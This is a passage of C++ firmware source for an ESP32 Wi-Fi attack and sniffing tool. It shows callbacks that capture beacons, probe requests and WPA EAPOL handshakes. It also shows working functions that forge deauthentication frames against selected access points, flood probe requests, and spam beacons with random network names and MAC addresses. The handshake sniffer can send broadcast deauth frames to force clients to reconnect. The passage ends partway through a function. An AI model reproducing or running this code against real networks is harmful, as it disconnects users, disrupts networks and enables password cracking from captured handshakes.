  1326. }
  1327. if (mac_match) {
  1328. in_list = true;
  1329. break;
  1330. }
  1331. }
  1332. if (!in_list) {
  1333. delay(random(0, 10));
  1334. Serial.print("RSSI: ");
  1335. Serial.print(snifferPacket->rx_ctrl.rssi);
  1336. Serial.print(" Ch: ");
  1337. Serial.print(snifferPacket->rx_ctrl.channel);
  1338. Serial.print(" BSSID: ");
  1339. Serial.print(addr);
  1340. display_string.concat(addr);
  1341. Serial.print(" ESSID: ");
  1342. display_string.concat(" -> ");
  1343. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1344. {
  1345. Serial.print((char)snifferPacket->payload[i + 38]);
  1346. display_string.concat((char)snifferPacket->payload[i + 38]);
  1347. essid.concat((char)snifferPacket->payload[i + 38]);
  1348. }
  1349. bssid.concat(addr);
  1350. int temp_len = display_string.length();
  1351. for (int i = 0; i < 40 - temp_len; i++)
  1352. {
  1353. display_string.concat(" ");
  1354. }
  1355. Serial.print(" ");
  1356. #ifdef HAS_SCREEN
  1357. if (display_obj.display_buffer->size() == 0)
  1358. {
  1359. display_obj.loading = true;
  1360. display_obj.display_buffer->add(display_string);
  1361. display_obj.loading = false;
  1362. }
  1363. #endif
  1364. if (essid == "") {
  1365. essid = bssid;
  1366. Serial.print(essid + " ");
  1367. }
  1368. AccessPoint ap = {essid,
  1369. snifferPacket->rx_ctrl.channel,
  1370. {snifferPacket->payload[10],
  1371. snifferPacket->payload[11],
  1372. snifferPacket->payload[12],
  1373. snifferPacket->payload[13],
  1374. snifferPacket->payload[14],
  1375. snifferPacket->payload[15]},
  1376. false,
  1377. NULL};
  1378. access_points->add(ap);
  1379. Serial.print(access_points->size());
  1380. Serial.println();
  1381. if (save_packet)
  1382. sd_obj.addPacket(snifferPacket->payload, len);
  1383. }
  1384. }
  1385. }
  1386. }
  1387. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1388. {
  1389. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1390. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1391. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1392. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1393. int len = snifferPacket->rx_ctrl.sig_len;
  1394. String display_string = "";
  1395. if (type == WIFI_PKT_MGMT)
  1396. {
  1397. len -= 4;
  1398. int fctl = ntohs(frameControl->fctl);
  1399. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1400. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1401. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1402. #ifdef HAS_SCREEN
  1403. int buf = display_obj.display_buffer->size();
  1404. #else
  1405. int buf = 0;
  1406. #endif
  1407. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1408. {
  1409. delay(random(0, 10));
  1410. Serial.print("RSSI: ");
  1411. Serial.print(snifferPacket->rx_ctrl.rssi);
  1412. Serial.print(" Ch: ");
  1413. Serial.print(snifferPacket->rx_ctrl.channel);
  1414. Serial.print(" BSSID: ");
  1415. char addr[] = "00:00:00:00:00:00";
  1416. getMAC(addr, snifferPacket->payload, 10);
  1417. Serial.print(addr);
  1418. display_string.concat(addr);
  1419. Serial.print(" ESSID: ");
  1420. display_string.concat(" -> ");
  1421. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1422. {
  1423. Serial.print((char)snifferPacket->payload[i + 38]);
  1424. display_string.concat((char)snifferPacket->payload[i + 38]);
  1425. }
  1426. int temp_len = display_string.length();
  1427. #ifdef HAS_SCREEN
  1428. for (int i = 0; i < 40 - temp_len; i++)
  1429. {
  1430. display_string.concat(" ");
  1431. }
  1432. Serial.print(" ");
  1433. if (display_obj.display_buffer->size() == 0)
  1434. {
  1435. display_obj.loading = true;
  1436. display_obj.display_buffer->add(display_string);
  1437. display_obj.loading = false;
  1438. }
  1439. #endif
  1440. Serial.println();
  1441. if (save_packet)
  1442. sd_obj.addPacket(snifferPacket->payload, len);
  1443. }
  1444. }
  1445. }
  1446. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1447. {
  1448. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1449. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1450. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1451. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1452. int len = snifferPacket->rx_ctrl.sig_len;
  1453. String display_string = "";
  1454. if (type == WIFI_PKT_MGMT)
  1455. {
  1456. len -= 4;
  1457. int fctl = ntohs(frameControl->fctl);
  1458. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1459. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1460. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1461. #ifdef HAS_SCREEN
  1462. int buf = display_obj.display_buffer->size();
  1463. #else
  1464. int buf = 0;
  1465. #endif
  1466. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1467. {
  1468. delay(random(0, 10));
  1469. Serial.print("RSSI: ");
  1470. Serial.print(snifferPacket->rx_ctrl.rssi);
  1471. Serial.print(" Ch: ");
  1472. Serial.print(snifferPacket->rx_ctrl.channel);
  1473. Serial.print(" BSSID: ");
  1474. char addr[] = "00:00:00:00:00:00";
  1475. getMAC(addr, snifferPacket->payload, 10);
  1476. Serial.print(addr);
  1477. display_string.concat(text_table4[0]);
  1478. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1479. display_string.concat(" ");
  1480. display_string.concat(addr);
  1481. #ifdef HAS_SCREEN
  1482. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1483. {
  1484. display_string.concat(" ");
  1485. }
  1486. Serial.print(" ");
  1487. if (display_obj.display_buffer->size() == 0)
  1488. {
  1489. display_obj.loading = true;
  1490. display_obj.display_buffer->add(display_string);
  1491. display_obj.loading = false;
  1492. }
  1493. #endif
  1494. Serial.println();
  1495. if (save_packet)
  1496. sd_obj.addPacket(snifferPacket->payload, len);
  1497. }
  1498. }
  1499. }
  1500. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1501. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1502. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1503. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1504. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1505. int len = snifferPacket->rx_ctrl.sig_len;
  1506. String display_string = "";
  1507. if (type == WIFI_PKT_MGMT)
  1508. {
  1509. len -= 4;
  1510. int fctl = ntohs(frameControl->fctl);
  1511. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1512. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1513. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1514. #ifdef HAS_SCREEN
  1515. int buf = display_obj.display_buffer->size();
  1516. #else
  1517. int buf = 0;
  1518. #endif
  1519. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1520. {
  1521. delay(random(0, 10));
  1522. Serial.print("RSSI: ");
  1523. Serial.print(snifferPacket->rx_ctrl.rssi);
  1524. Serial.print(" Ch: ");
  1525. Serial.print(snifferPacket->rx_ctrl.channel);
  1526. Serial.print(" Client: ");
  1527. char addr[] = "00:00:00:00:00:00";
  1528. getMAC(addr, snifferPacket->payload, 10);
  1529. Serial.print(addr);
  1530. display_string.concat(addr);
  1531. Serial.print(" Requesting: ");
  1532. display_string.concat(" -> ");
  1533. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1534. {
  1535. Serial.print((char)snifferPacket->payload[26 + i]);
  1536. display_string.concat((char)snifferPacket->payload[26 + i]);
  1537. }
  1538. // Print spaces because of the rotating lines of the hardware scroll.
  1539. // The same characters print from previous lines so I just overwrite them
  1540. // with spaces.
  1541. #ifdef HAS_SCREEN
  1542. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1543. {
  1544. display_string.concat(" ");
  1545. }
  1546. if (display_obj.display_buffer->size() == 0)
  1547. {
  1548. //while (display_obj.printing)
  1549. // delay(1);
  1550. display_obj.loading = true;
  1551. display_obj.display_buffer->add(display_string);
  1552. display_obj.loading = false;
  1553. }
  1554. #endif
  1555. Serial.println();
  1556. if (save_packet)
  1557. sd_obj.addPacket(snifferPacket->payload, len);
  1558. }
  1559. }
  1560. }
  1561. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1562. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1563. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1564. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1565. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1566. int len = snifferPacket->rx_ctrl.sig_len;
  1567. String display_string = "";
  1568. String essid = "";
  1569. bool found = false;
  1570. if (type == WIFI_PKT_MGMT)
  1571. {
  1572. len -= 4;
  1573. int fctl = ntohs(frameControl->fctl);
  1574. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1575. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1576. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1577. #ifdef HAS_SCREEN
  1578. int buf = display_obj.display_buffer->size();
  1579. #else
  1580. int buf = 0;
  1581. #endif
  1582. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1583. {
  1584. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1585. {
  1586. essid.concat((char)snifferPacket->payload[26 + i]);
  1587. }
  1588. for (int i = 0; i < ssids->size(); i++) {
  1589. if (ssids->get(i).essid == essid) {
  1590. Serial.println("Found a sheep");
  1591. found = true;
  1592. break;
  1593. }
  1594. }
  1595. if (!found)
  1596. return;
  1597. delay(random(0, 10));
  1598. Serial.print("RSSI: ");
  1599. Serial.print(snifferPacket->rx_ctrl.rssi);
  1600. Serial.print(" Ch: ");
  1601. Serial.print(snifferPacket->rx_ctrl.channel);
  1602. Serial.print(" Client: ");
  1603. char addr[] = "00:00:00:00:00:00";
  1604. getMAC(addr, snifferPacket->payload, 10);
  1605. Serial.print(addr);
  1606. display_string.concat(addr);
  1607. Serial.print(" Requesting: ");
  1608. display_string.concat(" -> ");
  1609. // ESSID
  1610. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1611. {
  1612. Serial.print((char)snifferPacket->payload[26 + i]);
  1613. display_string.concat((char)snifferPacket->payload[26 + i]);
  1614. }
  1615. // Print spaces because of the rotating lines of the hardware scroll.
  1616. // The same characters print from previous lines so I just overwrite them
  1617. // with spaces.
  1618. #ifdef HAS_SCREEN
  1619. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1620. {
  1621. display_string.concat(" ");
  1622. }
  1623. if (display_obj.display_buffer->size() == 0)
  1624. {
  1625. display_obj.loading = true;
  1626. display_obj.display_buffer->add(display_string);
  1627. display_obj.loading = false;
  1628. }
  1629. #endif
  1630. Serial.println();
  1631. if (save_packet)
  1632. sd_obj.addPacket(snifferPacket->payload, len);
  1633. }
  1634. }
  1635. }
  1636. /*
  1637. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1638. set_channel = random(1,12);
  1639. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1640. delay(1);
  1641. // Randomize SRC MAC
  1642. packet[10] = packet[16] = custom_ssid.bssid[0];
  1643. packet[11] = packet[17] = custom_ssid.bssid[1];
  1644. packet[12] = packet[18] = custom_ssid.bssid[2];
  1645. packet[13] = packet[19] = custom_ssid.bssid[3];
  1646. packet[14] = packet[20] = custom_ssid.bssid[4];
  1647. packet[15] = packet[21] = custom_ssid.bssid[5];
  1648. char ESSID[custom_ssid.essid.length() + 1] = {};
  1649. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1650. }*/
  1651. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1652. set_channel = random(1,12);
  1653. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1654. delay(1);
  1655. if (custom_ssid.beacon->size() == 0)
  1656. return;
  1657. // Randomize SRC MAC
  1658. // Randomize SRC MAC
  1659. packet[10] = packet[16] = random(256);
  1660. packet[11] = packet[17] = random(256);
  1661. packet[12] = packet[18] = random(256);
  1662. packet[13] = packet[19] = random(256);
  1663. packet[14] = packet[20] = random(256);
  1664. packet[15] = packet[21] = random(256);
  1665. char ESSID[custom_ssid.essid.length() + 1] = {};
  1666. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1667. int realLen = strlen(ESSID);
  1668. int ssidLen = random(realLen, 33);
  1669. int numSpace = ssidLen - realLen;
  1670. //int rand_len = sizeof(rand_reg);
  1671. int fullLen = ssidLen;
  1672. packet[37] = fullLen;
  1673. // Insert my tag
  1674. for(int i = 0; i < realLen; i++)
  1675. packet[38 + i] = ESSID[i];
  1676. for(int i = 0; i < numSpace; i++)
  1677. packet[38 + realLen + i] = 0x20;
  1678. /////////////////////////////
  1679. packet[50 + fullLen] = set_channel;
  1680. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1681. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1682. // Add everything that goes after the SSID
  1683. //for(int i = 0; i < 12; i++)
  1684. // packet[38 + fullLen + i] = postSSID[i];
  1685. packet[34] = custom_ssid.beacon->get(0);
  1686. packet[35] = custom_ssid.beacon->get(1);
  1687. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1688. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1689. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1690. packets_sent = packets_sent + 3;
  1691. }
  1692. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1693. set_channel = random(1,12);
  1694. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1695. delay(1);
  1696. // Randomize SRC MAC
  1697. packet[10] = packet[16] = custom_ssid.bssid[0];
  1698. packet[11] = packet[17] = custom_ssid.bssid[1];
  1699. packet[12] = packet[18] = custom_ssid.bssid[2];
  1700. packet[13] = packet[19] = custom_ssid.bssid[3];
  1701. packet[14] = packet[20] = custom_ssid.bssid[4];
  1702. packet[15] = packet[21] = custom_ssid.bssid[5];
  1703. char ESSID[custom_ssid.essid.length() + 1] = {};
  1704. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1705. int ssidLen = strlen(ESSID);
  1706. //int rand_len = sizeof(rand_reg);
  1707. int fullLen = ssidLen;
  1708. packet[37] = fullLen;
  1709. // Insert my tag
  1710. for(int i = 0; i < ssidLen; i++)
  1711. packet[38 + i] = ESSID[i];
  1712. /////////////////////////////
  1713. packet[50 + fullLen] = set_channel;
  1714. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1715. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1716. // Add everything that goes after the SSID
  1717. for(int i = 0; i < 12; i++)
  1718. packet[38 + fullLen + i] = postSSID[i];
  1719. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1720. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1721. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1722. packets_sent = packets_sent + 3;
  1723. }
  1724. // Function to send beacons with random ESSID length
  1725. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1726. set_channel = random(1,12);
  1727. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1728. delay(1);
  1729. // Randomize SRC MAC
  1730. packet[10] = packet[16] = random(256);
  1731. packet[11] = packet[17] = random(256);
  1732. packet[12] = packet[18] = random(256);
  1733. packet[13] = packet[19] = random(256);
  1734. packet[14] = packet[20] = random(256);
  1735. packet[15] = packet[21] = random(256);
  1736. int ssidLen = strlen(ESSID);
  1737. //int rand_len = sizeof(rand_reg);
  1738. int fullLen = ssidLen;
  1739. packet[37] = fullLen;
  1740. // Insert my tag
  1741. for(int i = 0; i < ssidLen; i++)
  1742. packet[38 + i] = ESSID[i];
  1743. /////////////////////////////
  1744. packet[50 + fullLen] = set_channel;
  1745. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1746. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1747. // Add everything that goes after the SSID
  1748. for(int i = 0; i < 12; i++)
  1749. packet[38 + fullLen + i] = postSSID[i];
  1750. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1751. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1752. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1753. packets_sent = packets_sent + 3;
  1754. }
  1755. // Function for sending crafted beacon frames
  1756. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1757. set_channel = random(1,12);
  1758. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1759. delay(1);
  1760. // Randomize SRC MAC
  1761. packet[10] = packet[16] = random(256);
  1762. packet[11] = packet[17] = random(256);
  1763. packet[12] = packet[18] = random(256);
  1764. packet[13] = packet[19] = random(256);
  1765. packet[14] = packet[20] = random(256);
  1766. packet[15] = packet[21] = random(256);
  1767. packet[37] = 6;
  1768. // Randomize SSID (Fixed size 6. Lazy right?)
  1769. packet[38] = alfa[random(65)];
  1770. packet[39] = alfa[random(65)];
  1771. packet[40] = alfa[random(65)];
  1772. packet[41] = alfa[random(65)];
  1773. packet[42] = alfa[random(65)];
  1774. packet[43] = alfa[random(65)];
  1775. packet[56] = set_channel;
  1776. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1777. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1778. // Add everything that goes after the SSID
  1779. for(int i = 0; i < 12; i++)
  1780. packet[38 + 6 + i] = postSSID[i];
  1781. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1782. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1783. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1784. packets_sent = packets_sent + 3;
  1785. }
  1786. // Function to send probe flood to all "active" access points
  1787. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1788. // Itterate through all access points in list
  1789. for (int i = 0; i < access_points->size(); i++) {
  1790. // Check if active
  1791. if (access_points->get(i).selected) {
  1792. this->set_channel = access_points->get(i).channel;
  1793. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1794. delay(1);
  1795. // Build packet
  1796. // Randomize SRC MAC
  1797. prob_req_packet[10] = random(256);
  1798. prob_req_packet[11] = random(256);
  1799. prob_req_packet[12] = random(256);
  1800. prob_req_packet[13] = random(256);
  1801. prob_req_packet[14] = random(256);
  1802. prob_req_packet[15] = random(256);
  1803. // Set SSID length
  1804. int ssidLen = access_points->get(i).essid.length();
  1805. //int rand_len = sizeof(rand_reg);
  1806. int fullLen = ssidLen;
  1807. prob_req_packet[25] = fullLen;
  1808. // Insert ESSID
  1809. char buf[access_points->get(i).essid.length() + 1] = {};
  1810. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1811. for(int i = 0; i < ssidLen; i++)
  1812. prob_req_packet[26 + i] = buf[i];
  1813. /*
  1814. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1815. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1816. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1817. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1818. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1819. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1820. 0x00, 0x00
  1821. */
  1822. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1823. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1824. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1825. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1826. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1827. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1828. 0x00, 0x00, 0x00, 0x00};
  1829. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1830. for (int i = 0; i < 26 + fullLen; i++)
  1831. good_probe_req_packet[i] = prob_req_packet[i];
  1832. for(int i = 0; i < 40; i++)
  1833. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1834. // Send packet
  1835. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1836. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1837. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1838. packets_sent = packets_sent + 3;
  1839. }
  1840. }
  1841. }
  1842. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1843. // Itterate through all access points in list
  1844. // Check if active
  1845. WiFiScan::set_channel = channel;
  1846. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1847. delay(1);
  1848. // Build packet
  1849. deauth_frame_default[10] = bssid[0];
  1850. deauth_frame_default[11] = bssid[1];
  1851. deauth_frame_default[12] = bssid[2];
  1852. deauth_frame_default[13] = bssid[3];
  1853. deauth_frame_default[14] = bssid[4];
  1854. deauth_frame_default[15] = bssid[5];
  1855. deauth_frame_default[16] = bssid[0];
  1856. deauth_frame_default[17] = bssid[1];
  1857. deauth_frame_default[18] = bssid[2];
  1858. deauth_frame_default[19] = bssid[3];
  1859. deauth_frame_default[20] = bssid[4];
  1860. deauth_frame_default[21] = bssid[5];
  1861. // Send packet
  1862. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1863. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1864. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1865. packets_sent = packets_sent + 3;
  1866. }
  1867. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1868. // Itterate through all access points in list
  1869. for (int i = 0; i < access_points->size(); i++) {
  1870. // Check if active
  1871. if (access_points->get(i).selected) {
  1872. this->set_channel = access_points->get(i).channel;
  1873. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1874. delay(1);
  1875. // Build packet
  1876. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1877. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1878. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1879. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1880. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1881. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1882. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1883. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1884. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1885. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1886. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1887. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1888. // Send packet
  1889. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1890. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1891. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1892. packets_sent = packets_sent + 3;
  1893. }
  1894. }
  1895. }
  1896. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1897. {
  1898. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1899. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1900. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1901. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1902. int len = snifferPacket->rx_ctrl.sig_len;
  1903. if (type == WIFI_PKT_MGMT)
  1904. {
  1905. len -= 4;
  1906. int fctl = ntohs(frameControl->fctl);
  1907. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1908. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1909. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1910. if (snifferPacket->payload[0] == 0x80)
  1911. {
  1912. num_beacon++;
  1913. }
  1914. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1915. {
  1916. num_deauth++;
  1917. }
  1918. else if (snifferPacket->payload[0] == 0x40)
  1919. {
  1920. num_probe++;
  1921. }
  1922. if (save_packet)
  1923. sd_obj.addPacket(snifferPacket->payload, len);
  1924. }
  1925. }
  1926. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1927. {
  1928. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1929. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1930. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1931. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1932. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1933. int len = snifferPacket->rx_ctrl.sig_len;
  1934. if (type == WIFI_PKT_MGMT)
  1935. {
  1936. len -= 4;
  1937. int fctl = ntohs(frameControl->fctl);
  1938. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1939. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1940. }
  1941. // Found beacon frame. Decide whether to deauth
  1942. if (send_deauth) {
  1943. if (snifferPacket->payload[0] == 0x80) {
  1944. // Build packet
  1945. uint8_t new_packet[26] = {
  1946. 0xc0, 0x00, 0x3a, 0x01,
  1947. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1948. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1949. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1950. 0xf0, 0xff, 0x02, 0x00
  1951. };
  1952. new_packet[10] = snifferPacket->payload[10];
  1953. new_packet[11] = snifferPacket->payload[11];
  1954. new_packet[12] = snifferPacket->payload[12];
  1955. new_packet[13] = snifferPacket->payload[13];
  1956. new_packet[14] = snifferPacket->payload[14];
  1957. new_packet[15] = snifferPacket->payload[15];
  1958. new_packet[16] = snifferPacket->payload[10];
  1959. new_packet[17] = snifferPacket->payload[11];
  1960. new_packet[18] = snifferPacket->payload[12];
  1961. new_packet[19] = snifferPacket->payload[13];
  1962. new_packet[20] = snifferPacket->payload[14];
  1963. new_packet[21] = snifferPacket->payload[15];
  1964. // Send packet
  1965. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1966. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1967. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1968. }
  1969. }
  1970. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1971. num_eapol++;
  1972. Serial.println("Received EAPOL:");
  1973. for (int i = 0; i < len; i++) {
  1974. char hexCar[4];
  1975. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1976. Serial.print(hexCar);
  1977. //Serial.print(snifferPacket->payload[i], HEX);
  1978. if ((i + 1) % 16 == 0)
  1979. Serial.print("\n");
  1980. else
  1981. Serial.print(" ");
  1982. }
  1983. Serial.print("\n");
  1984. }
  1985. if (save_packet)
  1986. sd_obj.addPacket(snifferPacket->payload, len);
  1987. }
  1988. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1989. {
  1990. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1991. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
